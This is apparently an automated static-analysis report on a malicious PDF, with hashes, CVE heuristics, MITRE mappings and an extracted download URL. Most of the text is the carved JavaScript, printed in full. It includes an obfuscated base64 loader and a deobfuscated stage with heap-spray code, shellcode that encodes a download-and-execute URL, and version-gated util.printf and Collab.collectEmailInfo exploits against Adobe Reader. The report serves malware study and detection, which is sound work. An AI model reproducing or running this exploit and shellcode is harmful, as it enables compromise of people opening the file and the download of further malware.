Malicious PDF — malware analysis report

Static analysis result for SHA-256 347200a0a9798dcf…

MALICIOUS

PDF

17.3 KB Created: 2009-08-07 08:01:51 Authoring application: LGUzx5Zv1iDa (via SRFWJHMaKe) First seen: 2012-07-12
MD5: d7a6eb6794775a72f20d3f7198464df6 SHA-1: 71572049da1f2cd202101ecc13d4a3818e776da0 SHA-256: 347200a0a9798dcf77ff0cb58a163b6c9e1607547a7f5408911aaffe652d498c
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

The PDF contains obfuscated JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT, PDF_JS, PDF_FROMCHARCODE, and PDF_EVAL. The ML classifier and ClamAV detection strongly suggest malicious intent. The embedded JavaScript is likely responsible for downloading and executing a second-stage payload, as suggested by the 'Js.Trojan.Obfus-48' ClamAV detection name.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Js.Trojan.Obfus-48 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Js.Trojan.Obfus-48
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                    eval(bpPFsDelxBgi);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://grasma.com/spl6/load.php Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x220 16402 bytes
SHA-256: 643f985aa89fcc35bdba5d5a11d41cad4f1b1d3846707fcb87a2fa282293aba9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 13 of 26 identifiers look randomly generated (e.g. 'Wm5WdVkzUnBiMjRnVjJ0cE9YZ29VbVZGT0dKWU0y') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var qIaB2i0Sh="";
                                var bpPFsDelxBgi="";
                                function omKsIz2rRKRcLA( cVLurEnu8R ) {
                                    var BsaVh1laDPLBb = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
                                    var a9zgSrzRtrsDJ, hTHNLst4te, J4zIe2, D1sEsrgliYy3, xVXWAZi, LaBSSsDBRC, vkirfZ6SUD, eSQay, JhXjIj = XbPv3c9XMrP2 = 0, HUwiPyApZ = "", tpKey = [];
                                    cVLurEnu8R += "";
                                    do {
                                        D1sEsrgliYy3 = BsaVh1laDPLBb.indexOf(cVLurEnu8R.charAt(JhXjIj++));
                                        xVXWAZi = BsaVh1laDPLBb.indexOf(cVLurEnu8R.charAt(JhXjIj++));
                                        LaBSSsDBRC = BsaVh1laDPLBb.indexOf(cVLurEnu8R.charAt(JhXjIj++));
                                        vkirfZ6SUD = BsaVh1laDPLBb.indexOf(cVLurEnu8R.charAt(JhXjIj++));
                                        eSQay = D1sEsrgliYy3<<18 | xVXWAZi<<12 | LaBSSsDBRC<<6 | vkirfZ6SUD;
                                        a9zgSrzRtrsDJ = eSQay>>16 & 0xff;
                                        hTHNLst4te = eSQay>>8 & 0xff;
                                        J4zIe2 = eSQay & 0xff;
                                        if (LaBSSsDBRC == 64) {
                                            tpKey[XbPv3c9XMrP2++] = String.fromCharCode(a9zgSrzRtrsDJ);
                                        } else if (vkirfZ6SUD == 64) {
                                            tpKey[XbPv3c9XMrP2++] = String.fromCharCode(a9zgSrzRtrsDJ, hTHNLst4te);
                                        } else {
                                            tpKey[XbPv3c9XMrP2++] = String.fromCharCode(a9zgSrzRtrsDJ, hTHNLst4te, J4zIe2);
                                        }
                                    } while (JhXjIj < cVLurEnu8R.length);
                                    HUwiPyApZ = tpKey.join("");
                                    HUwiPyApZ = OirxR0gdt(HUwiPyApZ);
                                    return HUwiPyApZ;
                                }
                                function OirxR0gdt ( a9zgSrzRtrsDJ ) {
                                    var hTHNLst4te = [], J4zIe2 = D1sEsrgliYy3 = cVLurEnu8R = xVXWAZi = LaBSSsDBRC = 0;
                                    a9zgSrzRtrsDJ += "";
                                    while ( J4zIe2 < a9zgSrzRtrsDJ.length ) {
                                        cVLurEnu8R = a9zgSrzRtrsDJ.charCodeAt(J4zIe2);
                                        if (cVLurEnu8R < 128) {
                                            hTHNLst4te[D1sEsrgliYy3++] = String.fromCharCode(cVLurEnu8R);
                                            J4zIe2++;
                                        } else if ((cVLurEnu8R > 191) && (cVLurEnu8R < 224)) {
                                            xVXWAZi = a9zgSrzRtrsDJ.charCodeAt(J4zIe2+1);
                                            hTHNLst4te[D1sEsrgliYy3++] = String.fromCharCode(((cVLurEnu8R & 31) << 6) | (xVXWAZi & 63));
                                            J4zIe2 += 2;
                                        } else {
                                            xVXWAZi = a9zgSrzRtrsDJ.charCodeAt(J4zIe2+1);
                                            LaBSSsDBRC = a9zgSrzRtrsDJ.charCodeAt(J4zIe2+2);
                                            hTHNLst4te[D1sEsrgliYy3++] = String.fromCharCode(((cVLurEnu8R & 15) << 12) | ((xVXWAZi & 63) << 6) | (LaBSSsDBRC & 63));
                                            J4zIe2 += 3;
                                        }
                                    }
                                    return hTHNLst4te.join("");
                                }

                qIaB2i0Sh= omKsIz2rRKRcLA("function Wki9x(ReE8bX3nPtkXul){ return String['fromCharCode'](ReE8bX3nPtkXul);} function DRM1t(qlhAb4xmDo6ueL){ var I911nMJSeRrD4m=0, zMvXU=qlhAb4xmDo6ueL.length, idcTf5q=1024, KtajalKej8sYCm, HbDvWlPW24, qiDKOCEzv='', ZGUUOM4b0FAk=I911nMJSeRrD4m, NGEVm=I911nMJSeRrD4m, OvkH05fLIe=I911nMJSeRrD4m, yPYbux=Array(63,4,23,58,11,6,41,35,22,57,0,0,0,0,0,0,26,43,21,39,9,38,0,20,60,2,51,56,47,49,1,55,30,62,33,5,27,32,29,52,40,24,13,0,0,0,0,3,0,12,10,16,8,34,17,7,15,42,59,19,48,50,14,36,53,28,25,44,45,61,31,37,46,18,54); for(HbDvWlPW24=Math.ceil(zMvXU/idcTf5q);HbDvWlPW24>I911nMJSeRrD4m;HbDvWlPW24--){ for(KtajalKej8sYCm=Math.min(zMvXU,idcTf5q);KtajalKej8sYCm>I911nMJSeRrD4m;KtajalKej8sYCm--,zMvXU--){ OvkH05fLIe|=(yPYbux[qlhAb4xmDo6ueL.charCodeAt(ZGUUOM4b0FAk++)-48])<<NGEVm; if(NGEVm){ qiDKOCEzv+=Wki9x(59^OvkH05fLIe&255); OvkH05fLIe>>=8; NGEVm-=2; } else { NGEVm=6; } } } eval(qiDKOCEzv); } DRM1t('MREYtZUGmrUkB9SyY6pyPZf5PKW_dHFIPKW_dHFIPKW_dHFIPKWIu92PPK1IdKcPPKG_ZUCFPKWF4oCFPKWF4sUIPKovuRFIPKovDHFIPKov9pCPPKov_sU_PKGvu9gPPKGvup2vPKWF9McvPKWvuuUvPKovu92vPKG_hK2vPKovdX2vPKoFupl_PKW_DWgIPKoFupl_PKG_Q9g_PKovutFIPKovu92PPKG_hK2vPKGPIsFIPKG_baF_PKovbXCIPKWIasFIPKovu6UIPKovu92vPKoP3pc_PKGPIK2PPK1_aaF_PKG_nXUIPKWIaKCIPKovu6cvPKovu92vPKoP3pc_PKGPIKg_PK1P3ZF_PKoI4KcvPKWIaolvPKovutlvPKovu92vPKoP3pc_PKGPIKgIPKWI4aF_PKWIuwUIPKWIaacvPKovuRcPPKovu92vPKoP3pc_PKGPIW2vPKGIQZF_PKWI3Dc_PKWIaKF_PKovuwUFPKovu92vPKoP3pc_PKoPup2PPKWvaWcvPKoF3wFPPKG_ZXU_PKGvaXCPPKov_sc_PKovu9CvPKGPbK2vPKoF3pc_PKG_hU2PPKov96CPPKovQZU_PKG_ho2_PKGvaoCPPKWIaoCFPKovupl_PKovu92vPKWFao2vPKGvnHCFPKoFuROIPK1__sF_PKovu92vPKG_ZK2vPKGvdXCPPKGI3pl_PKGIupFPPKG_Zo2vPK1Pu6CPPKoI4aF_PKovu92vPKGPu92vPKoP3pl_PKWFnW2PPKGPZKOvPKGP3pl_PKWIaWg_PKovuZUvPKovu92vPKoP39gPPKGI_U2vPKGPdK2vPK1PbdUIPKGI_aUPPKov962vPKWF3DF_PKovu92vPKoF36lIPKG_hU2vPKovdXCPPKovQZU_PKG_ho2_PKGvaoCPPKoPutF_PKovu92vPKWFnK2vPKGPaKOFPKoP39gPPKWvKR2PPKGPKRl_PKoI4ogPPK1PuDUPPKGPKw2vPKoP3pl_PKWFnWgIPKGPZKCPPKGP3pl_PKWIaWg_PKovuRgPPKovu92vPKovuZU_PKoF36lIPKG_hU2vPKovaXCPPKov0ZU_PKG_ho2_PKGvaoCPPKGvutF_PKovu92vPKWFnK2vPKG_hXlIPKGvu6CPPKovQZU_PKG_ho2_PKGvaoCPPKovutF_PKovu92vPKoPQ92vPKGP0wO_PKWIQ9gPPKWIQ9gPPKWIQ9gPPKWIQ9gPPKWIdWFPPKGPnK2PPKG_hogPPKWI0RU_PKGP06lFPKWIu6lIPKG_hoCPPKG_hsFIPKovadcIPKGPDWl_PKGPIKgIPKoFKpl_PKG_hHgIPKGvbdcPPKovKDF_PKGPIXFPPKoFIWl_PKovKR2vPKWvK6FPPKoPZoc_PKW_DXCvPKGIK9gPPKWvKwCFPKov4XUFPKGvu9UIPKoI0uC_PKovadcPPKGIboUvPKovK92IPKoPu6lvPKoIQtl_PKoIbHO_PKoF3wCIPKGPnsUPPKWIhWl_PKGPnWl_PKovKR2PPKWFIUcIPKovdWl_PKG_hXO_PKGvdoC_PK1IDKgPPKov9pl_PKovKpl_PKGPboUPPKGI0w2IPKovu9g_PKoI9tF_PKoI4XUIPKGP36lIPKoPdoOvPKoP4X2IPKovu6CIPK1_hWlFPK1_4ll_PKGIuRUPPKG_aocvPKG_blcIPKG_0MFIPKGIQpUIPKG_upFIPKGIuplvPK1_4lFIPK1IZWFPPKG_KwcvPKG_bWcvPKGIQpl_PKG__llIPKWI4llIrdNFTWo8DtNPDMpGsfwqBrUkB9SyY6pyPZf5PKWI3tUPPKWI3tUPrdNFZ6ByTGwB5olIFWo8Dtf2qrcB8NfqXD8T_dwqBqw2BMpkkNFkkDpBPZNPDMpGsfwqBBMBPBS2hZpNVMw1Kw12kM5BmBS15U2yqZSTGD2BFWo8DtfB8wBy5U2yqZSTGD2BBUokrRWkDDBBqZMI2WS2yFck@wW5duoGqrFPDMpGsfwqBBNynwSyhwoGBMp14qNPDMpGsfwqBBMBPBS2hZwSVMw1FlWGyVw2kUWkyMBS29BBquWGcWS2gslcZslI4sU1duoGqrFyhDS2cUWkyMS1BrB8DNck@wW5@wGy8rcBPMW53wGy@DW1yFc2GwW1ySoN4FUGNVUIDslIFdBccFR1F6ByDrSYySor5UWkyMS1MREYtZUGmrGk@wW5aBpFsMCNrXcIIoN1rdUFIdUFIdUFrFf5IdUFIdc5coRFIdUFrFf5_alF_alF_oN1ralF_alF_alF_alF_alF_alF_alF_alF_alF_alF_oN1ralF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alFrFf5_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alFrFf5_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_alF_ac5coMF_alF_alF_alF_alFrFf5_alF_alF_alF_alF_alF_alF_oN1ralF_alF_alF_alF_alFrFUkhDpBBsGyyBpkVZf5PHU_4slIVwMSaBpFsMC1FWwkBRpkyfBBTW8I8t1_MtoqkdM5Ftfk@wW5pt5khVgv2wlcm6W55sfBPMW53wGy@DW1yFl5V9GBYuoGGBp59u1Tewz1862qD9zVPN2@_6OSToBB4Fg2t6B@ysNcTlWGyVw2TaRB3S2yxVC2lwzc3BMBPBS2hZB1Dqc8BtFqqpE86DNc862qD9zVPN2@_6O5cYl5862qD9zVPN2@_6gF5tRB3S2yxVC2lwzc3tRNTYwPMwoTO9Sq6ZoPBUokrRWkDDBBqZMI2oBB4Fg2t6B@GoU1FsfyPuokDBp5862qD9zVPN2@_6gFTYW5V9GBYuoGGBp50SBVGt1vlfCGzZR1TFW5Z6ByTH82ZB2I@ZpTeRWvZpp55sMI_tF84UpIYtF8Fsfk@wW5YVgy4Bp@WtRNTKGBPR18@to2koRgnuFIhUUgnuFIhUUgnuFIhUUgntcvQwCgnRFInoCgnpc_KDUgnZlI9DUgnZlI4XUgn92vdUUgn92IhUUgn92Pu6Cgn9OF4KUgnp2vQRCgnp2vupCgnZcPaWCgnu2vhKCgn92vQpCgnpl_QpCgn9gI3pCgnDcvZHUgnucIuRUgnDcvZHUgnpUvQMUgn92v4UUgn92vQwCgnpl_QpCgnwCF4UUgnpUI_lUgn9CI36UgntF_4UUgn92vbXUgn92vQpCgn6CPZWUgnwCFQwCgnMF__lUgnpU_bXUgntF_Q6Ugn92vbWCgn92vQpCgn6CPZWUgnwCFQMUgnRCP_lUgn6lInWCgntF_DHCgn92v4HCgn92vQpCgn6CPZWUgnwCFQRUgntlI_lUgntcvDXUgntF__WCgn92vdoCgn92vQpCgn6CPZWUgnwCFupCgnwUv_lUgntUPIWUgntF_nlUgn92vDdUgn92vQpCgn6CPZWUgn62vuwCgnug_ZWCgnDUPDUCgnpc_bKUgnpg_36Cgn9OF4WUgn92vQ9CgnwCIQpCgnDUPZWUgnpl_KwCgn92P36Cgn9Cv_KUgnpl_9pUgnpg_96CgntF_9DUgn92vZHUgn92vQpCgnZF_9pCgnpC_0DUgnDcvKtUgnMlF4lUgn92vQpCgnpc_QpCgnpgI36CgnwUPZHUgnwcvZUCgnpc_9pCgnR2v36Cgn6lI_lUgn92vQpCgnw2vQpCgn6CPZHUgnZU_uwCgnw2_QuCgnwCPZHUgntF_uMUgn92v_KCgn92vQpCgn6CPQRCgnwlFKpCgnwgIQpCgnRCIIXUgnwlF_XCgn92P3pCgnZUPIlUgn92vQpCgnDUPbsUgnpl_KpCgn9gI36Cgn9Cv_KUgnpl_9pUgnpg_96Cgn62v4lUgn92vQpCgnZU_QpCgnwg_QZUgn6CPQRCgnugPKwCgnwgPdHUgn6lI9RCgnR2vIXCgnwgP9pCgn6CPZHUgnZU_uRUgnw2_Q6CgnwCPZHUgntF_uMUgn92vKRCgn92vQpCgn92v_KUgnDUPbsUgnpl_KpCgn9g_36Cgn9Ov_KUgnpl_9pUgnpg_96Cgnp2v4lUgn92vQpCgnZU_QpCgnpl_bsUgnp2v36Cgn9Cv_KUgnpl_9pUgnpg_96Cgn92v4lUgn92vQpCgn6CvQpCgnwOv9uUgntUvQRCgntUvQRCgntUvQRCgntUvQRCgntFIZUCgnwC_QwCgnpl_9RCgntlvdKUgnwOvbaUgntcvbsUgnpl_96Cgnpl_4UUgn9g_IoUgnw2IZHUgnwCFQRUgnDFPZHUgnpl_0RUgnpCIIoCgn9gPIlUgnwCFbUCgnDUFZHUgn9gPKpCgnugPbUCgn62_DWUgnucI39CgnwFPQRCgnugP9DUgn9OIbdUgnp2vnXUgn6lv09Ugn9g_IoCgnwUIDKCgn9gPQwUgn62vbHCgn6Uv4HUgn6UI0uUgnDUP96UgnwC_4XCgntl_ZHUgnwC_ZHUgn9gPKwCgnZUFdoUgn9gIZHUgnpl_3uUgnpgI99UgnRcIQRCgn92PZHUgn9gPZHUgnwCIDXCgnwlv9wUgn92vQMUgn6cP4lUgn6lIbXUgnwCPbsUgn6gI9uCgn6OI3wUgn92v36UgnpUFdWCgnRlvZHUgnMFIDWUgnpFPasUgnRl_dH25yFl5Z6ByTWCVf9UkrZCyH9p55sMI_ulI4slI4Fl5Z6ByTHOYa65klDGG7VCBTYl5YVgy4Bp@WBMBPBS2hZp5fsfIFsfk@wW5rBpIlMBT@wz55sfvzSw_nwpqbMC2TYM5kHOYa65klDGG7VCBcslcdaU1Fsfk@wW5862qD9zVPN2@_6O55sRkB9SyY6pyPZf5PKoF4dlIPKoF4dlIrdNFTYwPMwoTO9Sq6ZoPTYl59u1Tewz1862qD9zVPN2@_6OSToBB4Fg2t6B@yFl5Z6ByTYpYIZ1P7tRNTaMTVpGVDXpGLD5y0pG2TYM54aW_4slI4sU1GWCVf9UkrZCyH9SFTWSBDtM1Z6ByTogPpulY2Vpkb9BY8rlIFogPpulY2Vpkb9BY8VUB7DWcKZ5F9R2VhazB2uoyPSEBcFR1TFW5pt5khVgv2wlcm61Y9R2VhazB2uoyPSEBEtRNTYwPMwoTO9Sq6ZoPTFM5YVgy4Bp@WNl55tRfTWwkBRpkyfBBT1EFaa1PDdz1ysNcTWo8Dtfq4tUc6MBkDuBv4rCBTYl5@tWyBWoGPMo2DpE2DRoGGBBShfS@hwoGBMp1yFl5MtWIIw52ZwW2utoV8tRNT1Oy4dG@qpGyvpOyzrBSD9py26S8PZNSCugSqVf5rdNFTWo8DtRkDDOG4MO55sfBPMW53wGy@DW1MtWIIw52ZwW2utoV8BN8k6By3uW14dMSMtWIIw52ZwW2utoV8BN8k6By3uW1bdMSMtWIIw52ZwW2utoV8BN8k6By3uW1DdR1FsRGVtM1kKGymZpyHNzIEtRN5sMFTWfgTaM1nwoqkt1vU6UrTYUNTXl5VWM5nwoqkt1vUwUrTql5DdM5gVW5nwoqkt1vU6UrTql5bdR1TqWfTaRkDDOG4MgY4Yz55Yl5asfgVsRkDDOG4MgYbYz5gsRIysMfgtM1nwoqkt1vUtUrTql5adR1TFW50SBVGt1vlfCGzZR1Fsfk@wW5q6lFtZU_ytl55sRkB9SyY6pyPZf5PKWIYtF8PKWIYtF8rdNFTlWGyVw2klwI_WzFndpIBqw2BMpkktMNTHl_IKcIysN2bacT_KUG4sN15sN2bacT_KUG4Fl5hZwGdBN8GVpB@wS@hfByPtRNTUgB2Vw8rBN8GVpBPRpkQrw8yVwqBpSBkF1ynwBGNsf5rqRBdMBFTlwI_WzFndpI5DNFTYW55tfYIllcKwUYkdNFTY1');");
                bpPFsDelxBgi=omKsIz2rRKRcLA(qIaB2i0Sh);
                eval(bpPFsDelxBgi);
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 3 (PDF /JS object 7) at offset 0x1163 4541 bytes
SHA-256: e9836c7d4aea18777b10cf5bd403414aec3e58ded22edaf108a88e2835e37b82
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
JSYV8iI=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u672F%u6172%u6D73%u2E61%u6F63%u2F6D%u7073%u366C%u6C2F%u616F%u2E64%u6870%u0070"); var CrghWoIn=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+JSYV8iI.length;while(CrghWoIn.length<fg)CrghWoIn+=CrghWoIn;var nmbr=CrghWoIn.substring(0,fg);var stig=CrghWoIn.substring(0,CrghWoIn.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+JSYV8iI}var wn8WG="129"+"99999999"+"99999"+"9999"+"8888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",wn8WG);function V2mp7JpI() { var NPwtLGl2xIq = new Array(); function BtWYR(mAJrULeKRxA, bn0KgVaR) { while (mAJrULeKRxA.length*2<bn0KgVaR){mAJrULeKRxA += mAJrULeKRxA;} mAJrULeKRxA = mAJrULeKRxA.substring(0,bn0KgVaR/2); return mAJrULeKRxA; } function DjNopGKOiM() { var TfvN2ahTYsDvf = 0x0c0c0c0c; var cLspnPO = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u693F%u3D64%u7326%u6C70%u343D"); var FMj5ubHqGe = 0x400000; var DXwQwKyjXLm = cLspnPO.length * 2; var bn0KgVaR = FMj5ubHqGe - (DXwQwKyjXLm+0x38); var mAJrULeKRxA = unescape("%u9090%u9090"); mAJrULeKRxA = BtWYR(mAJrULeKRxA, bn0KgVaR); var mXyxCX = (TfvN2ahTYsDvf - 0x400000)/FMj5ubHqGe; for (var BCN4XlltqeZm=0;BCN4XlltqeZm<mXyxCX;BCN4XlltqeZm++) { NPwtLGl2xIq[BCN4XlltqeZm] = mAJrULeKRxA + cLspnPO; } } function Z97xC2Y() { var Jp0yRgvrdFpMm = app.viewerVersion.toString(); Jp0yRgvrdFpMm = Jp0yRgvrdFpMm.replace(/\D/g,""); var urIhpG = new Array(Jp0yRgvrdFpMm.charAt(0),Jp0yRgvrdFpMm.charAt(1),Jp0yRgvrdFpMm.charAt(2)); if ((urIhpG[0] == 8 && ((urIhpG[1] == 1 && urIhpG[2] < 2) || urIhpG[1] < 1)) || (urIhpG[0] == 7 && urIhpG[1] < 1) || (urIhpG[0] < 7)) { DjNopGKOiM(); var g18V85i0 = unescape("%u0c0c%u0c0c"); while(g18V85i0.length < 44952) g18V85i0 += g18V85i0; this.collabStore = Collab.collectEmailInfo({subj: "",msg: g18V85i0}); } } Z97xC2Y(); }

Open this report in the interactive analyzer, or submit your own file for analysis.